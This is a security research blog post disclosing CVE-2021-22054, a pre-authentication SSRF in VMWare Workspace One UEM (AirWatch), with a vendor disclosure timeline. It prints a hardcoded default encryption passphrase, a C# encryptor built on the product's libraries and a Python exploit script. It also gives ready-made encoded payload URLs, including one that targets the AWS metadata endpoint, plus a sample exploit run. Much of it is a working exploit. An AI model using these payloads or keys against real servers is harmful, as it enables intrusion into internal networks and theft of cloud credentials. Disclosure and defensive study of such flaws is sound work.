Encrypting our way to SSRF in VMWare Workspace One UEM (CVE-2021-22054)

Apr 27, 2022

 

The advisory for this issue can be found here.

The CVE for this issue is CVE-2021-22054. The advisory from VMWare can be found here.

This security research was performed by Keiran Sampson, James Hebden and Shubham Shah.


Introduction

Hundreds, if not thousands of enterprises, have to deploy mobile device management software to manage their ever growing fleet of mobile devices used by employees. The best thing about this from an offensive security standpoint, is that the software typically is exposed directly to the internet, to ease user on-boarding and improve day-to-day usage and device coverage.

With this logic, we found ourselves auditing the source code of VMWare Workspace One UEM. You may remember this software when it was named “AirWatch”, before it was acquired by VMWare.

We discovered a pre-authentication vulnerability that allowed us to make arbitrary HTTP requests, including requests with any HTTP method and request body. In order to exploit this SSRF, we had to reverse engineer the encryption algorithm used by VMWare Workspace One UEM.

Through this vulnerability, we were able to breach a number of our customers through our Attack Surface Management Platform, as well as numerous Fortune 500 companies through bug bounty programs.


What is VMWare Workspace One UEM (AirWatch)?

Per VMWare’s marketing materials:

Workspace ONE UEM (formerly known as AirWatch) provides a comprehensive enterprise mobility platform that delivers simplified access to enterprise applications, secures corporate data, and allows mobile productivity. It also works with the public application stores, to handle the provisioning of native mobile applications to mobile devices.

Workspace ONE UEM provides compliance-checking tools to ensure that remote access devices meet corporate security standards. For Office 365, and our integration with the Office 365 Graph API we can manage the DLP settings across the suite of Office applications to ensure security.


Code Analysis

VMWare Workspace One UEM is compose of a bundle of .NET applications. One of the first steps when it comes to assessing .NET applications is assessing the mappings found in the web.config files.

The folder structure for the applications deployed as a part of UEM looked like the following:

 

One common route we found across many of the web.config files within these directories was the route below:

<location path="BlobHandler.ashx">
    <system.web>
      <httpRuntime maxRequestLength="2097152" executionTimeout="3600" />
      <authorization>
        <allow users="*" />
      </authorization>
    </system.web>
  </location>

There were a large number of DLL files associated with each application deployed as a part of AirWatch. For this vulnerability, we focused on WanderingWiFi.AirWatch.Console.Web, however later we will describe the variants we discovered as well.

Loading up the DLLs for WanderingWiFi.AirWatch.Console.Web into ILSpy and exporting all of the source code, we were in a good position to start auditing.

Within BlobHandler.cs, we found the following source code:

private static string EncryptedUrl => HttpContext.Current.Request.QueryString["Url"];
…
else if (!string.IsNullOrEmpty(EncryptedUrl))
	{
		RenderProxyResponse();
	}
…
private static void RenderProxyResponse()
		{
			if (!string.IsNullOrWhiteSpace(EncryptedUrl))
			{
				string url = DataEncryption.DecryptString(Encoding.Unicode.GetString(Convert.FromBase64String(EncryptedUrl)), new EntityKey(7));
				HttpContext.Current.Request.Headers.Set("Connection", "close");
				ProxyService.ProxyServerResponse(HttpContext.Current, url);
			}
		}

While the BlobHandler’s main functionality was to serve cached files, it seemed that another function of this handler was to also proxy HTTP requests. The logic for the proxying functionality looked like this:

  1. Obtain an encrypted URL via the Url parameter and assign it the variable EncryptedUrl.
  2. If this variable is not empty, then call the RenderProxyResponse() function.
  3. If the EncryptedUrl variable is not null or empty, decrypt the input and call ProxyService.ProxyServerResponse(HttpContext.Current, url);

The DataEncryption.DecryptString function stood out to us. It was custom code, rather than a 3rd party of standard library.

At this point, we were wondering, how does the DataEncryption.DecryptString function actually work?

We continued to trace the code flow through several Decrypt methods, until we wound up at at the GetDecryptorsForCipherText() function.

public static string DecryptString(string decryptionAttributes, object locationGroupId)
{
	return Decrypt(decryptionAttributes);
}

public string Decrypt(string encryptedData)
{
	string cipherText;
	IEnumerable<Decryptor> decryptorsForCipherText = GetDecryptorsForCipherText(encryptedData, out cipherText);
	return FallbackDecrypt(decryptorsForCipherText, (Decryptor dec) => dec.Decrypt(cipherText));
}

Here we can see that it takes our now base64 decoded Url parameter and attempts to split it out into its key components:

{cryptoVersion}:{keyVersion}:{text}:{cipherText}

	private IEnumerable<Decryptor> GetDecryptorsForCipherText(string encryptedData, out string cipherText)
	{
		string cryptoVersion = null;
		string keyVersion = null;
		string text = null;
		string[] array = encryptedData.Split(new char[1] { ':' });
		if (array.Length > 1)
		{
			cryptoVersion = array[0];
			keyVersion = array[1];
			text = array[2];
			cipherText = array[3];
		}
		else
		{
			cipherText = encryptedData;
		}
		MasterKey masterKey = masterKeyResolver.GetMasterKey(keyVersion);
		if (masterKey.IsProtected)
		{
			keyVersion = masterKey.KeyVersion;
			byte[] keyData = masterKey.KeyData;
			return new List<Decryptor>
			{
				new Decryptor(cryptoVersion, Convert.FromBase64String(text), keyVersion, keyData)
			};
		}
		return GetLegacyDecryptors(masterKey, cryptoVersion, text);
	}		

It then calls GetMasterKey() with either the user-provided keyVersion or NULL if only a cipherText is provided.

This function looked like the following

// AirWatch.Security.Cryptography.KeyManagement.MasterKeyResolver
using AirWatch.Logging;

public MasterKey GetMasterKey(string keyVersion)
{
    ILogger current = LogAspect.Current;
    if (string.IsNullOrEmpty(keyVersion) || keyVersion.Equals("kv0"))
    {
        current.Debug("keyVersion is not defined or equals the default key version.");
        return DefaultMasterKey;
    }
    MasterKey masterKeyFromCache = GetMasterKeyFromCache(keyVersion);
    if (masterKeyFromCache != null)
    {
        return masterKeyFromCache;
    }
    MasterKey masterKeyFromConfigFile = GetMasterKeyFromConfigFile();
    if (masterKeyFromConfigFile != null && keyVersion.Equals(masterKeyFromConfigFile.KeyVersion))
    {
        StoreMasterKeyToCache(masterKeyFromConfigFile);
        return masterKeyFromConfigFile;
    }
    MasterKey masterKeyFromDb = GetMasterKeyFromDb(keyVersion);
    if (masterKeyFromDb == null || !masterKeyFromDb.IsKeyValid)
    {
        return DefaultMasterKey;
    }
    StoreMasterKeyToCache(masterKeyFromDb);
    return masterKeyFromDb;
}

If we’re reading this correctly, the MasterKeyResolver has the functionality to read the encryption keys from the cache or the database.

However it first checks if the key version is “kv0” or NULL, and in that case instead returns a DefaultMasterKey.

What is the DefaultMasterKey? A set of hardcoded encryption keys…

// AirWatch.Security.Cryptography.KeyManagement.MasterKey
using System.Runtime.CompilerServices;

public MasterKey()
{
    KeyVersion = "kv0";
    Passphrase = "5c5e2c554f4f644b54383127495b356d7b36714e4b214a6967492657290123a0";
    SaltData = "[email protected]";
    IsKeyValid = true;
}

This means that if we can encrypt a payload using these same keys, and set the KeyVersion to “kv0” then we can trigger this code path and have it decrypted using the DefaultMasterKey.

Now that we have explored the encryption/decryption algorithm, we were feeling confident about building our own tool to encrypt strings.


Making a PoC

Our goal was to create a program that would generate encrypted strings, provided an arbitrary URL.

In order to achieve this, we wrote some C# code which imported the AirWatch libraries and directly called the encryption functions:

using System;
using System.IO;
using System.Text;
using AirWatch.Security.Cryptography;
using Newtonsoft.Json;

namespace AirWatchSSRF
{
    internal class Program
    {
        
        public struct Url
        {
            public string raw;
            public string encrypted;
            public string encoded;
        }
    
        static void Encode(string raw)
        {
            Url url = new Url();
            url.raw = raw;
            url.encrypted = DataEncryption.EncryptString(url.raw, null);
            url.encoded = Convert.ToBase64String(Encoding.Unicode.GetBytes(url.encrypted));

            Console.WriteLine(JsonConvert.SerializeObject(url));
        }
        
        public static void Main(string[] args)
        {
            Console.SetIn(new StreamReader(Console.OpenStandardInput(8192)));
            while (Console.In.Peek() != -1)
            {
                string str = Console.In.ReadLine();
                if (str != null && str.Length > 0){
                    Encode(str);
                }
            }
        }
    }
}

Since we are unable to distribute the files necessary for the exploitation of this issue, building a PoC for this issue will require you to obtain the following DLL files before compiling the C# code above:

After writing the C# code and building a binary to encrypt arbitrary strings, we built a Python script to act as a wrapper around the binary. This Python script allowed for quick exploitation of this security issue:

import json
import requests
import argparse
import sys
from subprocess import Popen, PIPE, STDOUT

logo = """
--------------------------------------------------
                     /
   xx   x  xxx      /    x  x   xxx     xxx  x  x
  x  x  x  x  x    /     x  x  x   x   x     x x
  xxxx  x  xxx     ----  xxxx x     x x      xx 
  x  x  x  x  x       /  x  x  x   x   x     x x
  x  x  x  x   x     /   x  x   xxx     xxx  x  x
                    /
--------------------------------------------------
"""

print(logo)
parser = argparse.ArgumentParser()
parser.add_argument("--url", help="AirWatch URL (i.e. https://mdm.corp.evilcorp.com)")
parser.add_argument("--ssrf", help="SSRF URL (i.e. https://example.com")
parser.add_argument("--airwatch", help="Use Airwatch route instead of Catalog",  action='store_true')
parser.add_argument("--request", help="Request the SSRF URL after generating", action='store_true')
args = parser.parse_args()

if args.url is None or args.ssrf is None:
	print("Must provide AirWatch URL and SSRF URL to use this exploit.")
	sys.exit()

def generate_encrypted_url(ssrf_url):
    # this is where all the magic happens :rainbow:
    # we are encrypting our ssrf URL using native functions from AirWatch
    # through this binary. data is passed in via stdin, which returns a JSON blob
    # that contains the encoded, encrypted SSRF url
    # the encryption used by AirWatch relies on hardcoded default master keys
    p = Popen(['./EncryptAirWatchSSRF.exe'], stdout=PIPE, stdin=PIPE, stderr=PIPE)
    stdout_data = p.communicate(input=ssrf_url.encode())[0]
    json_data = json.loads(stdout_data)
    return json_data["encoded"]

def generate_exploit_url(url, encoded_payload):
    # we are calling Catalog/BlobHandler.ashx as it is available on locked down
    # AirWatch instances. If your AirWatch instance has /AirWatch/ exposed
    # you can also call /AirWatch/BlobHandler.ashx
    url = url.rstrip("/")
    if args.airwatch:
        final_exploit_url = "{}/AirWatch/BlobHandler.ashx?Url={}".format(url, encoded_payload)
    else:
        final_exploit_url = "{}/Catalog/BlobHandler.ashx?Url={}".format(url, encoded_payload)
    return final_exploit_url

encoded_encrypted_ssrf_payload = generate_encrypted_url(args.ssrf)
exploit_payload = generate_exploit_url(args.url, encoded_encrypted_ssrf_payload)

print("[*] Generated SSRF payload:\n{}\n".format(exploit_payload))

if args.request:
    r = requests.get(exploit_payload, verify=False, timeout=30)
    print(r.text)

Discovering the Variants

Since the BlobHandler.ashx file existed in multiple applications deployed as a part of UEM, we wanted to narrow down where else our exploit worked.

We identified that the following endpoints were vulnerable to this SSRF:

  • AirWatch/BlobHandler.ashx - WanderingWiFi.AirWatch.Console.Web
  • Catalog/BlobHandler.ashx - AW.Console.Web.Mobile.Catalog

While there were other instances of BlobHandler.ashx within the applications deployed for AirWatch, only the two above had the proxying functionality.

Through exploitation in the wild, we found that the endpoint under Catalog was more likely to be accessible in locked down UEM instances.


PoCs

The following URLs will request http://example.com through the SSRF:

http://airwatch/Catalog/BlobHandler.ashx?Url=YQB3AGUAdgAyADoAawB2ADAAOgB4AGwAawBiAEoAbwB5AGMAVwB0AFEAMwB6ADMAbABLADoARQBKAGYAYgBHAE4ATgBDADUARQBBAG0AZQBZAE4AUwBiAFoAVgBZAHYAZwBEAHYAdQBKAFgATQArAFUATQBkAGcAZAByAGMAMgByAEUAQwByAGIAcgBmAFQAVgB3AD0A
http://airwatch/AirWatch/BlobHandler.ashx?Url=YQB3AGUAdgAyADoAawB2ADAAOgB4AGwAawBiAEoAbwB5AGMAVwB0AFEAMwB6ADMAbABLADoARQBKAGYAYgBHAE4ATgBDADUARQBBAG0AZQBZAE4AUwBiAFoAVgBZAHYAZwBEAHYAdQBKAFgATQArAFUATQBkAGcAZAByAGMAMgByAEUAQwByAGIAcgBmAFQAVgB3AD0A

Hitting the AWS metadata IP (http://169.254.169.254/latest/meta-data/) through this SSRF:

http://airwatch/Catalog/BlobHandler.ashx?Url=YQB3AGUAdgAyADoAawB2ADAAOgBhADIAZAAzAEYAcgA2AEcAZAAzAEkAOAB1AGkAeQBzADoARQBLAHoAUABnAG4ASwBUAG8ANABwAE4ALwBLAHMASgBMAGUAcQBwAHIATgBGAG4AMABVAG8AZABVAG8AdABaADUANwBrADIAcgBtAGoASABTAHYAMgBPADUAUAAvADMAeQB0AGMAVQB1AGgAawBzAGsAUwBtAE8AWAArACsAUwBpAFMAcQBZAFkAKwBoAHIAMgBBAEMASAA=
http://airwatch/AirWatch/BlobHandler.ashx?Url=YQB3AGUAdgAyADoAawB2ADAAOgBhADIAZAAzAEYAcgA2AEcAZAAzAEkAOAB1AGkAeQBzADoARQBLAHoAUABnAG4ASwBUAG8ANABwAE4ALwBLAHMASgBMAGUAcQBwAHIATgBGAG4AMABVAG8AZABVAG8AdABaADUANwBrADIAcgBtAGoASABTAHYAMgBPADUAUAAvADMAeQB0AGMAVQB1AGgAawBzAGsAUwBtAE8AWAArACsAUwBpAFMAcQBZAFkAKwBoAHIAMgBBAEMASAA=

In order to exploit this issue, we were able to run the tool we created, requesting example.com via the SSRF:

C:\Users\Administrator\Downloads\EncryptAirWatchSSRF>python airshock.py --url http://airwatch --ssrf http://example.com --request

--------------------------------------------------
                 	/
   xx   x  xxx  	/	x  x   xxx 	xxx  x  x
  x  x  x  x  x	/ 	x  x  x   x   x 	x x
  xxxx  x  xxx 	----  xxxx x 	x x  	xx
  x  x  x  x  x   	/  x  x  x   x   x 	x x
  x  x  x  x   x 	/   x  x   xxx 	xxx  x  x
                	/
--------------------------------------------------

[*] Generated SSRF payload:
http://airwatch/Catalog/BlobHandler.ashx?Url=YQB3AGUAdgAyADoAawB2ADAAOgB4AGwAawBiAEoAbwB5AGMAVwB0AFEAMwB6ADMAbABLADoARQBKAGYAYgBHAE4ATgBDADUARQBBAG0AZQBZAE4AUwBiAFoAVgBZAHYAZwBEAHYAdQBKAFgATQArAFUATQBkAGcAZAByAGMAMgByAEUAQwByAGIAcgBmAFQAVgB3AD0A

<!doctype html>
<html>
<head>
	<title>Example Domain</title>

	<meta charset="utf-8" />
	<meta http-equiv="Content-type" content="text/html; charset=utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
	<style type="text/css">
	body {
    	background-color: #f0f0f2;
    	margin: 0;
    	padding: 0;
    	font-family: -apple-system, system-ui, BlinkMacSystemFont, "Segoe UI", "Open Sans", "Helvetica Neue", Helvetica, Arial, sans-serif;

	}
	div {
    	width: 600px;
    	margin: 5em auto;
    	padding: 2em;
    	background-color: #fdfdff;
    	border-radius: 0.5em;
    	box-shadow: 2px 3px 7px 2px rgba(0,0,0,0.02);
	}
	a:link, a:visited {
    	color: #38488f;
    	text-decoration: none;
	}
	@media (max-width: 700px) {
    	div {
        	margin: 0 auto;
        	width: auto;
    	}
	}
	</style>
</head>

<body>
<div>
	<h1>Example Domain</h1>
	<p>This domain is for use in illustrative examples in documents. You may use this
	domain in literature without prior coordination or asking for permission.</p>
	<p><a href="https://www.iana.org/domains/example">More information...</a></p>
</div>
</body>
</html>

Vendor Response

VMWare dealt with these issues seriously, and we appreciated their efforts in remediating this vulnerability and corresponding with us.

We reported this issue to VMWare on the 18th of November, 2021.

The timeline for disclosure can be found below:

  • Nov 18th, 2021: Disclosure of SSRF to VMware
  • Nov 19th, 2021: Initial response from VMware asking us about the context of the discovery
  • Nov 19th, 2021: We responded explaining that it was performed as original security research not related to a customer directly
  • Nov 19th, 2021: VMware asked us if this bug had been reported to any other parties other than VMWare
  • Nov 19th, 2021: We responded confirming that it has been reported to various companies running this software
  • Nov 22nd, 2021: VMware requested a list of customers we have reported this bug to so that they can reach out to them
  • Nov 23rd, 2021: We responded with a list of customers that received reports from us around this vulnerability
  • Nov 24th, 2021: VMware responded confirming receipt of the list of customers we reported issues to
  • Dec 2nd, 2021: VMware confirms that patch is being worked on, but requested a video call to discuss extending the disclosure timeline
  • Dec 2nd, 2021: We do a Zoom call to discuss how to approach disclosure in a manner that gives VMWare customers enough time to patch
  • Dec 4th, 2021: We responded confirming that we can extend the disclosure timeline compared to our standard policy
  • Dec 15th, 2021: VMware responds with patch release note information and confirmation of patch being released on 16th of December
  • Dec 16th, 2021: VMware releases a patch for this issue https://www.vmware.com/security/advisories/VMSA-2021-0029.html?
  • April 27, 2022: VMware have blogged about this issue at https://blogs.vmware.com/security/2022/04/workspace-one-uem-ssrf-cve-2021-22054-patch-alert

Remediation Advice

The remediation details provided from VMWare’s advisory are satisfactory and will ensure that this vulnerabilty cannot be exploited.

The knowledge base article detailing the patches or workaround to apply can be found here.


Conclusion

There are often constraints that require certain software to be internet facing. In this case, MDM software such as VMWare Workspace One UEM is deployed in one of two ways. Either via the SaaS offering from VMWare or on premise.

In both scenarios, this vulnerability was exploitable. An attacker could have used this vulnerability to gain access to critical internal networks. The fact that this SSRF also allowed you to use arbitrary HTTP methods and request bodies made it even more dangerous.

When exploited in the wild, instances of UEM deployed on AWS, often had an IAM role with significant access to the AWS environment it was deployed in. We were able to breach a number of our customers and Fortune 500 companies through this vulnerability.

As always, customers of our Attack Surface Management platform were the first to know when this vulnerability affected them. We continue to perform original security research in an effort to inform our customers about zero-day vulnerabilities.